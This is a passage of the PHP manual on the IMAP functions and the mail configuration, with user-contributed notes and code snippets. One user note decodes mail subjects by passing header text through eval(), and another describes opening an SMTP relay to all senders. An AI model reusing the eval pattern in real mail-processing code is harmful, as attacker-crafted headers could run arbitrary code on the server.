  echo "UIDvalidity:" . $status->uidvalidity . "<br />\n";
} else {
  echo "imap_status failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

User Contributed Notes

mwwaygoo AT hotmail DOT com 12-Jul-2012 10:33
I had issues with imap_status not working correctly, while other imap functions seemed okay. I always got the ['flags']=0 response. No notes here and Google searching suggests it doesn't working properly with Exchange, so I wrote a little workaround, to at least get some information.

<?php
    function my_imap_status($stream, $mailbox='', $info=SA_ALL)
    {
        // get current mailbox name (and info)
        $curr_obj=imap_check($stream);
        if(!$curr_obj) return false;

        // if request if for current mailbox then just return it
        if( (empty($mailbox)) || ($mailbox==$curr_obj->Mailbox) ) return $curr_obj;

        // get current mailbox
        $current_mailbox=$curr_obj->Mailbox;

        //switch to new mailbox
        if(!imap_reopen($stream, $mailbox)) return false;

        // get info
        $obj=imap_check($stream);

        // switch back to original mailbox
        imap_reopen($stream, $current_mailbox);

        //return info
        return $obj;
    }
?>
razonklnbd at hotmail dot com 06-Jan-2008 07:12
another tips is to get only total number of message and recent message

$imap_obj = imap_status($mbox, '{mail.mysrv.com:143/imap}INBOX', SA_MESSAGES+SA_RECENT);
echo('<pre>'); var_dump($imap_obj); echo('</pre>');
jille at DIESPAMMERShexon dot cx 03-May-2007 03:21
In 'reply' to my previous post;
I`m not sure of that anymore
I think this trick works,
but the rest of my script just sucks..

Conclusion:
You can get the last UID by using status->uidnext-1
BUT: This is not a good way, if another message is added after your append and before your status; you are screwed


Subscribe to a mailbox

  • « imap_status
  • imap_thread »
  • PHP Manual
  • IMAP Functions
  • Subscribe to a mailbox

imap_subscribe

(PHP 4, PHP 5)

imap_subscribe — Subscribe to a mailbox

Description

bool imap_subscribe ( resource $imap_stream , string $mailbox )

Subscribe to a new mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_unsubscribe() - Unsubscribe from a mailbox

User Contributed Notes

shacky 29-May-2009 03:34
Hi,
When $mailbox string ends with '/' it doesn't subscribe and doesn't return any error. You need to rtrim this character.
ajflorido dot canariastelecom.com 16-Mar-2003 07:11
Hello there! Sorry for my english
For someone who need to use this function.
I was trying to use it on my own imap server v2.0 but it didn't subscribe to any of the folders, so i try this method and it works.

class imap {
 var $imaphost="{your.imap.host:143}";
 var $imapuser="user";
 var $imappass="pass";
}

$imapm = new imap();

$mbox=imap_open($imapm->imaphost,$imapm->imapuser,$imapm->imappass);

$bool=imap_subscribe($mbox,"{your.host:143}INBOX");
  if ($bool)
  {
     print "Ok";
  } else {
            print "No ok";
           }


Returns a tree of threaded message

  • « imap_subscribe
  • imap_timeout »
  • PHP Manual
  • IMAP Functions
  • Returns a tree of threaded message

imap_thread

(PHP 4 >= 4.0.7, PHP 5)

imap_thread — Returns a tree of threaded message

Description

array imap_thread ( resource $imap_stream [, int $options = SE_FREE ] )

Gets a tree of a threaded message.

Parameters

imap_stream

An IMAP stream returned by imap_open().

options

Return Values

imap_thread() returns an associative array containing a tree of messages threaded by REFERENCES, or FALSE on error.

Every message in the current mailbox will be represented by three entries in the resulting array:

  • $thread["XX.num"] - current message number

  • $thread["XX.next"]

  • $thread["XX.branch"]

Examples

Example #1 imap_thread() Example

<?php

// Here we're outputting the threads of a newsgroup, in HTML

$nntp = imap_open('{news.example.com:119/nntp}some.newsgroup', '', '');
$threads = imap_thread($nntp);

foreach ($threads as $key => $val) {
  $tree = explode('.', $key);
  if ($tree[1] == 'num') {
    $header = imap_headerinfo($nntp, $val);
    echo "<ul>\n\t<li>" . $header->fromaddress . "\n";
  } elseif ($tree[1] == 'branch') {
    echo "\t</li>\n</ul>\n";
  }
}

imap_close($nntp);

?>

User Contributed Notes

cblanquera at gmail dot com 20-May-2011 05:13
imap_thread() returns threads, but are confined to the current open mailbox you defined in imap_open(). This is not useful for, lets say, getting full threads ( from "Sent Messages" and "Inbox" [took me a day to figure this out]).

If you compare threads on Outlook vs gmail.com you will find that Outlook determines threads by subject title, not actual parent > child relationships.

Gmail however, seems to get threads right, but does not include mail you send using their web interface in  {imap.google.com:993/imap/ssl}Sent Messages . What this means is that threads using php imap won't be perfect for gmail.

If you send mail using Outlook (or any mail client), gmail.com does put it in their "Sent Mail".

So all in all, threads for PHP imap are not perfect. But I blame the imap specifications (DEAR IMAP GUYS, please add better uids and parent ids. thx Chris) more than PHP

So I created the Outlook method for threading (comparing subjects) below:

<?php
$imap         = imap_open('{imap.gmail.com:993/imap/ssl}INBOX', 'youremail@gmail.com', 'yourpassword');
$subject     = 'Item b';
$threads     = array();

//remove re: and fwd:
$subject = trim(preg_replace("/Re\:|re\:|RE\:|Fwd\:|fwd\:|FWD\:/i", '', $subject));

//search for subject in current mailbox
$results = imap_search($imap, 'SUBJECT "'.$subject.'"', SE_UID);

//because results can be false
if(is_array($results)) {
    //now get all the emails details that were found
    $emails = imap_fetch_overview($imap, implode(',', $results), FT_UID);

    //foreach email
    foreach ($emails as $email) {
        //add to threads
        //we date date as the key because later we will sort it
        $threads[strtotime($email->date)] = $email;
    }
}

//now reopen sent messages
imap_reopen($imap, '{imap.gmail.com:993/imap/ssl}Sent Messages');

//and do the same thing

//search for subject in current mailbox
$results = imap_search($imap, 'SUBJECT "'.$subject.'"', SE_UID);

//because results can be false
if(is_array($results)) {
    //now get all the emails details that were found
    $emails = imap_fetch_overview($imap, implode(',', $results), FT_UID);

    //foreach email
    foreach ($emails as $email) {
        //add to threads
        //we date date as the key because later we will sort it
        $threads[strtotime($email->date)] = $email;
    }
}

//sort keys so we get threads in chronological order
ksort($threads);

echo '<pre>'.print_r($threads, true).'</pre>';
exit;
?>

so if you are going to use imap_thread() for something useful. This is probably the most optimal way I can think of:

<?php
$imap = imap_open('{imap.gmail.com:993/imap/ssl}INBOX', 'youremail@gmail.com', 'password');
$threads = $rootValues = array();

$thread = imap_thread($imap);
$root = 0;

//first we find the root (or parent) value for each email in the thread
//we ignore emails that have no root value except those that are infact
//the root of a thread

//we want to gather the message IDs in a way where we can get the details of
//all emails on one call rather than individual calls ( for performance )

//foreach thread
foreach ($thread as $i => $messageId) {
    //get sequence and type
    list($sequence, $type) = explode('.', $i);

    //if type is not num or messageId is 0 or (start of a new thread and no next) or is already set
    if($type != 'num' || $messageId == 0
       || ($root == 0 && $thread[$sequence.'.next'] == 0)
       || isset($rootValues[$messageId])) {
        //ignore it
        continue;
    }

    //if this is the start of a new thread
    if($root == 0) {
        //set root
        $root = $messageId;
    }

    //at this point this will be part of a thread
    //let's remember the root for this email
    $rootValues[$messageId] = $root;

    //if there is no next
    if($thread[$sequence.'.next'] == 0) {
        //reset root
        $root = 0;
    }
}

//now get all the emails details in rootValues in one call
//because one call for 1000 rows to a server is better
//than calling the server 1000 times
$emails = imap_fetch_overview($imap, implode(',', array_keys($rootValues)));

//foreach email
foreach ($emails as $email) {
    //get root
    $root = $rootValues[$email->msgno];

    //add to threads
    $threads[$root][] = $email;
}

//there is no need to sort, the threads will automagically in chronological order
echo '<pre>'.print_r($threads, true).'</pre>';
imap_close($imap);
exit;
?>
whamill at google mail 26-Apr-2010 11:23
I figure other people may benefit from an explanation of the resulting array, My understanding is:

Key: Essentially a node ID
Num: The mail ID (where 0 indicates the start of a conversation)
Next: The node ID of the first child (where 0 indicates there are no children)
Branch: The node ID of the next sibling (where 0 indicates there is no sibling)
mail at moritz-lapp dot de 05-Aug-2004 10:47
One possible option to imap_thread is the constant SE_UID, which will make imap_thread return UIDs instead of sequence numbers in the x.num-fields of the returned array.


Set or fetch imap timeout

  • « imap_thread
  • imap_uid »
  • PHP Manual
  • IMAP Functions
  • Set or fetch imap timeout

imap_timeout

(PHP 4 >= 4.3.3, PHP 5)

imap_timeout — Set or fetch imap timeout

Description

mixed imap_timeout ( int $timeout_type [, int $timeout = -1 ] )

Sets or fetches the imap timeout.

Parameters

timeout_type

One of the following: IMAP_OPENTIMEOUT, IMAP_READTIMEOUT, IMAP_WRITETIMEOUT, or IMAP_CLOSETIMEOUT.

timeout

The timeout, in seconds.

Return Values

If the timeout parameter is set, this function returns TRUE on success and FALSE on failure.

If timeout is not provided or evaluates to -1, the current timeout value of timeout_type is returned as an integer.

Examples

Example #1 imap_timeout() example

<?php

echo "The current read timeout is " . imap_timeout(IMAP_READTIMEOUT) . "\n";

?>

User Contributed Notes

david dot morel at amakuru dot net 17-Nov-2005 04:48
imap_timeout(1, <seconds>) works fine for pop3 connections, but apparently not for pop3s (ssl, port 995) connections, where the default socket timeout still applies.
This applies to php 4.3.10, not tested on other versions.
bwgraham at vt dot edu 12-Mar-2004 07:53
We looked into the source to find out what this function actually does and how to use it. The function overrides the default_socket_timeout setting from your php.ini file

You can retrieve the current timeout length for each timeout type by calling the function as:

  imap_timeout(timeout_type);
     or
  imap_timeout(timeout_type,-1);

You can set the timeout length for any of the timeout types by setting the timeout value to a number of seconds.

  imap_timeout(timeout_type,<number of seconds>);

The timeout types are as follows:

1: Open
2: Read
3: Write
4: Close

It does not appear that the close type has been implemented.


This function returns the UID for the given message sequence number

  • « imap_timeout
  • imap_undelete »
  • PHP Manual
  • IMAP Functions
  • This function returns the UID for the given message sequence number

imap_uid

(PHP 4, PHP 5)

imap_uid — This function returns the UID for the given message sequence number

Description

int imap_uid ( resource $imap_stream , int $msg_number )

This function returns the UID for the given message sequence number. An UID is a unique identifier that will not change over time while a message sequence number may change whenever the content of the mailbox changes.

This function is the inverse of imap_msgno().

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number.

Return Values

The UID of the given message.

Notes

Note:

This function is not supported by POP3 mailboxes.

See Also

  • imap_msgno() - Gets the message sequence number for the given UID

User Contributed Notes

Maikel 15-Jul-2010 02:27
Be aware that the uid is unique in a single mailbox. That means a message can have as much uids as mailboxes
anon et mouse 28-Jan-2009 08:57
clarification for Andreas' note about imap_expunge()...

imap_expunge() does indeed change the UID, but only *after* the IMAP stream has closed and then reconnects.

You can use imap_expunge() as many times as you want within one IMAP stream (no reconnects) and the UID stays the same while the Msgno will change with imap_delete() followed by imap_expunge().
Andreas Seeger 24-Jul-2008 07:26
The uid will change in case of unsing imap_expunge. Be shure that
all work ist done before using imap_expunge.
roger at sdr dot com dot au 02-May-2008 04:34
A little quirk of UIDs in a PUBLIC folder in MDaemon (and perhaps other servers?). The UIDs may be unsynchronised between users if the server's option to store flags on a per-user basis is turned on. That is, a message may have a UID of 5 for one user (meaning it was the 5th message to enter the box) but 3 for another user (who perhaps subscribed to the box later). If this is a problem, turn off the per-user option for the mailbox.
steve_foley at excite dot com 05-Sep-2002 07:27
Please note that message_id in the header is NOT the UID - and its dangerous to use as many mail progs don't put a message id in


Unmark the message which is marked deleted

  • « imap_uid
  • imap_unsubscribe »
  • PHP Manual
  • IMAP Functions
  • Unmark the message which is marked deleted

imap_undelete

(PHP 4, PHP 5)

imap_undelete — Unmark the message which is marked deleted

Description

bool imap_undelete ( resource $imap_stream , int $msg_number [, int $flags = 0 ] )

Removes the deletion flag for a specified message, which is set by imap_delete() or imap_mail_move().

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

flags

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_delete() - Mark a message for deletion from current mailbox
  • imap_mail_move() - Move specified messages to a mailbox

User Contributed Notes

phrank 30-Dec-2007 12:47
If you need to use the uid instead of msgno use

imap_clearflag_full($stream, implode(',', $flags), '\\DELETED', ST_UID);
rdi at nospam dot donireland dot com 18-Nov-2007 04:18
The imap_delete function allows the option to use a UID for the message number but the imap_undelete function does not.


Unsubscribe from a mailbox

  • « imap_undelete
  • imap_utf7_decode »
  • PHP Manual
  • IMAP Functions
  • Unsubscribe from a mailbox

imap_unsubscribe

(PHP 4, PHP 5)

imap_unsubscribe — Unsubscribe from a mailbox

Description

bool imap_unsubscribe ( resource $imap_stream , string $mailbox )

Unsubscribe from the specified mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_subscribe() - Subscribe to a mailbox

User Contributed Notes

There are no user contributed notes for this page.


Decodes a modified UTF-7 encoded string

  • « imap_unsubscribe
  • imap_utf7_encode »
  • PHP Manual
  • IMAP Functions
  • Decodes a modified UTF-7 encoded string

imap_utf7_decode

(PHP 4, PHP 5)

imap_utf7_decode — Decodes a modified UTF-7 encoded string

Description

string imap_utf7_decode ( string $text )

Decodes modified UTF-7 text into ISO-8859-1 string.

This function is needed to decode mailbox names that contain certain characters which are not in range of printable ASCII characters.

Parameters

text

A modified UTF-7 encoding string, as defined in » RFC 2060, section 5.1.3 (original UTF-7 was defined in » RFC1642).

Return Values

Returns a string that is encoded in ISO-8859-1 and consists of the same sequence of characters in text, or FALSE if text contains invalid modified UTF-7 sequence or text contains a character that is not part of ISO-8859-1 character set.

See Also

  • imap_utf7_encode() - Converts ISO-8859-1 string to modified UTF-7 text

User Contributed Notes

Min He 10-May-2010 08:21
For Chinese charset, we can use:

mb_convert_encoding($mailbox, "UTF7-IMAP", "GB2312");

when you want to create a mailbox in Chinese.

OR

mb_convert_encoding($mailbox, "GB2312", "UTF7-IMAP");

when you want to show the listed mailbox with the right charset.
27-Aug-2002 07:32
For "Outlook-style" UTF-7, you can also use:

mb_convert_encoding( $str, "ISO_8859-1", "UTF7-IMAP" ); # for decoding
mb_convert_encoding( $str, "UTF7-IMAP", "ISO_8859-1" ); # for encoding
sven at planb dot de 03-Nov-2000 12:44
imap_utf7_decode decodes 'modified'.
For decoding Outlook UTF-7 - texts I use --enable-recode and $latin1string=recode_string("UTF-7..ISO_8859-1",$utf7string);
Don't use recode-3.5c.*rpm from Contrib.
recode_string seems to be buggy.


Converts ISO-8859-1 string to modified UTF-7 text

  • « imap_utf7_decode
  • imap_utf8 »
  • PHP Manual
  • IMAP Functions
  • Converts ISO-8859-1 string to modified UTF-7 text

imap_utf7_encode

(PHP 4, PHP 5)

imap_utf7_encode — Converts ISO-8859-1 string to modified UTF-7 text

Description

string imap_utf7_encode ( string $data )

Converts data to modified UTF-7 text.

This is needed to encode mailbox names that contain certain characters which are not in range of printable ASCII characters.

Parameters

data

An ISO-8859-1 string.

Return Values

Returns data encoded with the modified UTF-7 encoding as defined in » RFC 2060, section 5.1.3 (original UTF-7 was defined in » RFC1642).

See Also

  • imap_utf7_decode() - Decodes a modified UTF-7 encoded string

User Contributed Notes

dn at dnunes dot com 08-Nov-2007 08:59
Maccoy function's isn't reliable 'cause it doesn't follow the RFC 2060. It will work fine for most latin chars (which, in base64, will turn into "+A..."), but for other language it can make a big mess. If you're using an internationalizated system, try using the other presented options.
31-Jul-2006 04:10
This encoding will not work for cyrus imapservers and you might have problems with other mail clients.
Use mb_convert_encoding($str, "UTF7-IMAP","ISO-8859-15") instead.

ps: mb_convert_encoding() requires   building php with  --enable-mbstring option
02-Nov-2005 12:01
Note that php4 (4.4.0) will encode IMAP folders in a way that no other program will be able to decode them back.
$ php4 <<EOF
> <?php
> echo "ENCODED: " . imap_utf7_encode("�") . "\\n";
> ?>
> EOF
ENCODED: &w5w-

Now try to decode the result string ("&w5w-") using e.g. javamail or python's imaplib, or if you don't like these languages - create an IMAP folder using PHP and try to display it in an IMAP client (mutt, thunderbird, outlook, whatever...)
marcelo at maccoy dot com dot br 07-Mar-2005 02:48
<?php
/**
* @return encoded string
* @param string $str
* @desc Convert str to UTF-7 imap default mailbox names
    (the imap_utf7_encode don t built the same result)
*/
function getEncodedUtf7($str){
    if(!$str){
       echo "error: you need to give a string parameter.";
       return false;
    }
# change spaces by entropy because mb_convert fail with spaces
    $str=ereg_replace(" ","xyxy",$str);
# if mb_convert work
    if($str=mb_convert_encoding($str,"UTF-7")){
        # change characters
            $str=preg_replace("/\+A/","&A",$str);
        # change to spaces again
            $str=preg_replace("/xyxy/"," ",$str);
        # return encoded string
            return $str;
 # else
    }else{
        # print error and return false
            echo "error: is not possible to encode this string '$str'.[".
            imap_last_error().
            "]";
            return false;
    }
}
?>


Converts MIME-encoded text to UTF-8

  • Â« imap_utf7_encode
  • Mail Â»
  • PHP Manual
  • IMAP Functions
  • Converts MIME-encoded text to UTF-8

imap_utf8

(PHP 4, PHP 5)

imap_utf8 — Converts MIME-encoded text to UTF-8

Description

string imap_utf8 ( string $mime_encoded_text )

Converts the given mime_encoded_text to UTF-8.

Parameters

mime_encoded_text

A MIME encoded string. MIME encoding method and the UTF-8 specification are described in » RFC2047 and » RFC2044 respectively.

Return Values

Returns an UTF-8 encoded string.

See Also

  • imap_mime_header_decode() - Decode MIME header elements

User Contributed Notes

kloewer at gmail dot com 18-Oct-2011 12:08
Use  iconv_mime_decode();

<?php
// This yields "Subject: PrÃ¼fung PrÃ¼fung"
echo iconv_mime_decode("Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=",
                       0, "ISO-8859-1");
?>

http://php.net/manual/de/function.iconv-mime-decode.php
esvit at mail dot ru 26-Jan-2011 02:12
That fixed the all caps issue:

<?php
function imap_utf8_fix($string) {
  return iconv_mime_decode($string,0,"UTF-8");
}
?>
number0 at tlen dot pl 06-Jul-2009 11:43
string in uppercase error http://bugs.php.net/bug.php?id=44098
my function to decode string

<?php
function decodeMimeStr($string, $charset="UTF-8" )
{
      $newString = '';
      $elements=imap_mime_header_decode($string);
      for($i=0;$i<count($elements);$i++)
      {
        if ($elements[$i]->charset == 'default')
          $elements[$i]->charset = 'iso-8859-1';
        $newString .= iconv($elements[$i]->charset, $charset, $elements[$i]->text);
      }
      return $newString;
}
?>
MetaYii 22-Jun-2009 10:24
Be aware: imap_utf8 tends to return the string in uppercase.
Anonymous webmaster@luzon14DoTCom 30-Jul-2007 09:43
You may also try this example:

$_subject = "=?iso-8859-1?b?THV6b26uMTQ=?= dot CoM";
echo utf8_decode(imap_utf8($_subject));

OUTPUT: LuzonÂ®14 dot CoM

Regards,
Tuso/Nazareth
hans at lintoo dot dk 19-Sep-2005 01:42
Also see:
<?php
imap_mime_header_decode($sting);
?>
Don't try to decode subjects with this one... imap_mime_header_decode does a much better job at that.
marcelo at maccoy dot com dot br 14-Feb-2005 09:01
# this script are correct with the right signs remove expression
# please, ignore the later.
function decode_utf8($str){
       # paterns
           $err="(=\?.{10,13}q\?_?|\?\=)";
           $pat = "/=([0-9A-F]{2})/";
           $cha="'.chr(hexdec(";
       # erase null signs in string
          $str=eregi_replace($err,"",$str);
       # to decode with eval and replace
          eval("\$str='".
                  preg_replace($pat,$cha."'$1')).'",$str)
                  ."';");
        # return
           return $str;
}
#Note: you can to reduce this script in 3 lines.
aperez at informatica dot 24ruedas dot com 10-Jun-2004 09:05
I got issues decoding strings with spanish characters. I found encodeISO88591() function at this manual as an user note.

After having problems with imap_utf8() and utf8_decode(), I've decided create a function decodeISO88591() for decoding strings encoded with encodeISO88591().

Here's the code(I've translated remarks and variable and array names from spanish to english for better understanding):

function encodeISO88591($string)
{
  // ISO-8859-1 string header
  $stringISO = "=?iso-8859-1?q?";

  // Each character are encoded('equal-to' symbol + hexadecimal value from ASCII code)
  for($i=0;$i<strlen($string);$i++)
  {
    // Basic ASCII characters are not encoded
    if(ord(substr($string,$i,1))<1 || ord(substr($string,$i,1))>127)
    {
      $char = ord($string[$i]);
      $char = strtoupper(dechex($char));
      $stringISO.="=".$char;
    }
    else
    {
      $stringISO.=substr($string,$i,1);
    }
  }

  // ISO-8859-1 string footer
  $stringISO.="?= ";

  return($stringISO);
}

// And this is my function decodeISO88591()

function decodeISO88591($string)
{
  // Arrays for obtaining hexadecimal values
  // for each ISO-8859-1 charset
  $mAlfa=array("A","B","C","D","E","F");
  $mNum=array();
  for($n=0;$n<10;$n++)
  {
    $mNum[]=$n;
  }

  // ISO-8859-1 charset
  $iso88591=array(" ","¡","¢","£","¤",
                         "¥","¦","§","¨","©","ª",
                         "«","¬","","®","¯","°",
                         "±","²","³","´","µ","¶",
                         "·","¸","¹","º","»","¼",
                         "½","¾","¿","À","Á","Â",
                         "Ã","Ä","Å","Æ","Ç","È",
                         "É","Ê","Ë","Ì","Í","Î","Ï",
                         "Ð","Ñ","Ò","Ó","Ô","Õ",
                         "Ö","×","Ø","Ù","Ú","Û",
                         "Ü","Ý","Þ","ß","à","á","â",
                         "ã","ä","å","æ","ç","è","é",
                         "ê","ë","ì","í","î","ï","ð","ñ",
                         "ò","ó","ô","õ","ö","÷","ø",
                         "ù","ú","û","ü","ý","þ","ÿ");
  // Hexadecimal values array
  for($a=0;$a<sizeof($mAlfa);$a++)
  {
    for($n=0;$n<sizeof($mNum);$n++)
    {
      $mHex[]=$mAlfa[$a].$mNum[$n];
    }
    for($a2=0;$a2<sizeof($mAlfa);$a2++)
    {
      $mHex[]=$mAlfa[$a].$mAlfa[$a2];
    }
  }

  // ISO-8859-1 string header and footer are deleted
  $string=str_replace("=?iso-8859-1?q?","",$string);
  $string=str_replace("?= ","",$string);

  // Encoded values are decoded
  for($h=0;$h<sizeof($mHex);$h++)
  {
    $string=str_replace(("=".$mHex[$h]),$iso88591[$h],$string);
  }

  return($string);
}

I hope this helps somebody. :)
mogster_at_boomdesign.no 31-Oct-2002 12:53
To get a complete decode to utf8 (which is the protocol with "national" characters), use these two:
$subject = "=?ISO-8859-1?Q?B=F8lla?=, med =?ISO-8859-1?Q?=F8l?= i baggen";
$subject = imap_utf8($subject);
$subject = utf8_decode($subject);
will return the subject in 8-bit ascii.
That is, both functions.

knutm :-)


Mail

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Mail Functions
    • ezmlm_hash — Calculate the hash value needed by EZMLM
    • mail — Send mail

User Contributed Notes

Carlos 10-Jan-2011 04:46
If you use the function utf8_decode() for the subject variable you can receive text messages readables in utf-8.
pouletfou at gmail dot com 06-Aug-2009 07:39
I use this script to test webapps using mail with this little php script saved as /usr/sbin/sendmail :

#!/usr/bin/php
<?php
    //====================================================
    // Program : Fake send mail
    // Author : pouletfou at gmail
    // Description : save this file as /usr/sbin/sendmail
    //  and you can test your PHP applications using mail
    //  by looking at the /tmp/fakesendmail.log files.
    //====================================================

    define('LOGFILE','/tmp/fakesendmail.log');

    $log = fopen (LOGFILE,'a+');

    fwrite($log,"\n".implode(' ',$argv).
     " called on : ".date('Y-m-d H:i:s')."\n");

    fwrite($log,file_get_contents("php://stdin"));
    fwrite($log,
"\n===========================================================\n");
    fclose($log);

?>
Ashlin 15-Apr-2009 07:34
2 points have to be set :

<?php
ini_set("SMTP","smtp.example.com" );
ini_set('sendmail_from', 'user@example.com');
?>

or set them in the php.ini file

By doing this, i have fixed definetly this problem :-)
burkestar at gmail dot com 06-Nov-2008 07:15
The workaround mentioned above only works with IIS 5 assuming you've configured the Virtual SMTP Server to accept relays.

In IIS console, right-click SMTP Virtual Server and choose "Properties". On "Access" tab, click "Relay..." button and make sure "All except the list below" is selected.

Warning: This is just a quick fix which exposes a security risk because allowing your SMTP server to be a relay with anonymous access could make your computer susceptible to becoming a spam zombie.  You should properly add your computer's IP address to the list and choose "Only the list below" instead to lock it down.
Some guy 01-Sep-2008 02:17
Under windows there is a bug in php/mail

See here: http://bugs.php.net/bug.php?id=28038

this results in you being unable to send 'From: Full Name <me@domain.com>'

Workaround is:

Set the following before calling the mail function:

ini_set('sendmail_from', 'me@domain.com);
dev at realynospamspcweb dot nl 22-Aug-2008 11:16
@Crusiatus Black
23-May-2008 05:00

Code below works without errors
<?php

$Name = "Da Duder"; //senders name
$email = "email@adress.com"; //senders e-mail adress
$recipient = "PersonWhoGetsIt@emailadress.com"; //recipient
$mail_body = "The text for the mail..."; //mail body
$subject = "Subject for reviever"; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields

mail($recipient, $subject, $mail_body, $header); //mail command :)
?>


Introduction

The mail() function allows you to send mail.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

David dot Kit dot Friedman at gmail dot com 14-Jul-2009 09:01
Just to add to the previous note -- if you are using windows and also SMTP authentication it is possible to get this to work by using the PEAR Mail package:

http://pear.php.net/package/Mail

I do not believe the built in Mail function provides this.
alvaro at demogracia dot com 11-Nov-2008 10:12
The sendmail binary requirement only applies to Unix-like platforms (e.g. Linux). In Windows you need to specify a mail server that accepts mail through a network connection. Find these lines in your php.ini file:

[mail function]
; For Win32 only.
SMTP = localhost
smtp_port = 25

; For Win32 only.
;sendmail_from = me@example.com


Requirements

For the Mail functions to be available, PHP must have access to the sendmail binary on your system during compile time. If you use another mail program, such as qmail or postfix, be sure to use the appropriate sendmail wrappers that come with them. PHP will first look for sendmail in your PATH, and then in the following: /usr/bin:/usr/sbin:/usr/etc:/etc:/usr/ucblib:/usr/lib. It's highly recommended to have sendmail available from your PATH. Also, the user that compiled PHP must have permission to access the sendmail binary.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mail configuration options
Name | Default | Changeable | Changelog
mail.add_x_header | "0" | PHP_INI_PERDIR | Available since PHP 5.3.0.
mail.log | NULL | PHP_INI_PERDIR | Available since PHP 5.3.0. (PHP_INI_SYSTEM|PHP_INI_PERDIR)
SMTP | "localhost" | PHP_INI_ALL |
smtp_port | "25" | PHP_INI_ALL | Available since PHP 4.3.0.
sendmail_from | NULL | PHP_INI_ALL |
sendmail_path | "/usr/sbin/sendmail -t -i" | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mail.add_x_header bool

Add X-PHP-Originating-Script that will include UID of the script followed by the filename.

mail.log string

The path to a log file that will log all mail() calls. Log entries include the full path of the script, line number, To address and headers.

SMTP string

Used under Windows only: host name or IP address of the SMTP server PHP should use for mail sent with the mail() function.

smtp_port int

Used under Windows only: Number of the port to connect to the server specified with the SMTP setting when sending mail with mail(); defaults to 25. Only available since PHP 4.3.0.

sendmail_from string

Which "From:" mail address should be used in mail sent from PHP under Windows. This directive also sets the "Return-Path:" header.

sendmail_path string

Where the sendmail program can be found, usually /usr/sbin/sendmail or /usr/lib/sendmail. configure does an honest attempt of locating this one for you and set a default, but if it fails, you can set it here.

Systems not using sendmail should set this directive to the sendmail wrapper/replacement their mail system offers, if any. For example, » Qmail users can normally set it to /var/qmail/bin/sendmail or /var/qmail/bin/qmail-inject.

qmail-inject does not require any option to process mail correctly.

This directive works also under Windows. If set, smtp, smtp_port and sendmail_from are ignored and the specified command is executed.

User Contributed Notes

elitescripts2000 at yahoo dot com 09-Dec-2013 04:52
On Ubuntu 13.04, not sure of the other Distros.

If you simply uncomment the default:

sendmail_path = "sendmail -t -i"

Your mail() functions will all fail.  This is because, you should place the FULL PATH (i.e.  /usr/sbin/sendmail -t -i )

The documentation states PHP tries it's best to find the correct sendmail path, but it clearly failed for me.

So, always enter in the FULLPATH to sendmail or you may get unexpected failing results.

As a secondary note:  Those that just want to ENFORCE the -f parameter, you can do so in php.ini using:

mail.force_extra_parameters = -fdo_not_reply@domain.tld

You can leave the sendmail path commented out, it will still use the defaults  (under UNIX  -t -i options which if you look them up are very important to have set)....

But, now there is no way to change this, even with the 5th argument of the mail() function.  -f is important, because if NOT set, will be set to which ever user the PHP script is running under, and you may not want that.

Also, -f  sets the Return-Path:  header which is used as the Bounce address, if errors occur, so you can process them.  You you can not set Return-Path: in mail() headers for some reason... you could before.  Now you have to use the -f option.
mike dot castrodemaria at gmail dot com 20-Jun-2013 11:00
You can set on apache2 a "per domain" default address in apache conf VirtualHost section too.

Juste add : php_admin_value sendmail_path "/usr/sbin/sendmail -t -i -fno-reply@php.net -Fno-reply"

change to your own email choice instead no-reply@php.net .

I hope this helps,
Mike
blueshibuyadream at gmail dot com 28-Mar-2013 09:27
On Darwin OS such as OSX (current one: 10.8.3) you need to add a specific command and option to the sendmail_path constant if you have downloaded and installed a mamp with a stack.

Indeed you can see the required libraries for PHP, Apache, MySQL in "common/lib" folder. The problem is when you run an external command using these libraries, for example "sendmail". It could be a problem if it gets the stack libraries and not the system ones (different versions, etc).

The "env -i" command clean the Stack environment variables and run "sendmail" with the system libraries.

Hope this helps.
rgdobie at conwave dot com dot au 22-Feb-2013 03:46
Under Windows, I found sendmail_from needed to be a valid email address which has been defined on the mail server being addressed.
A Austin 12-Jul-2012 02:40
For linux you can over-ride the default "From" for the outgoing emails by including in php.ini this line:

sendmail_path = "/usr/sbin/sendmail -t -i -f fromMe@blah.com"

The path should work for most linux installations.
Robert 25-Apr-2011 08:09
Despite what this page says about the "SMTP" and "smtp_port" settings being used only under Windows, all Drupal sites use these settings to send email, regardless of which OS they're running in.


Mail Functions

Table of Contents

  • ezmlm_hash — Calculate the hash value needed by EZMLM
  • mail — Send mail

User Contributed Notes

webmaster at weethet dot nl 01-Sep-2007 04:35
As mentioned earlier, for Windows users there is a fake sendmail option. A bit more detailed description how to do this is:

If you have a test server in use running Windows and some kind of WAMP combo (XXAMP, WAMP Server, etc) then you'll notice that the PHP sendmail command (mail()) does not work. Windows simply does not provide the sendmail statement ...

There is a simple trick to get this to work though;

1) Download (or use the attached file) sendmail.zip from http://glob.com.au/sendmail/

2) Unzip this in a folder on your c: drive (preferably use a simple path, for example c:\wamp\sendmail -- long filenames could cause problems)

3) Edit your PHP.INI file (note: WAMP users should access their php.ini file from the WAMP menu). Go to the [mail function] section and modify it as such:

[mail function]
; For Win32 only.
;SMTP =

; For Win32 only.
;sendmail_from =

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
sendmail_path = "C:\wamp\sendmail\sendmail.exe -t"

; Force the addition of the specified parameters to be passed as extra parameters
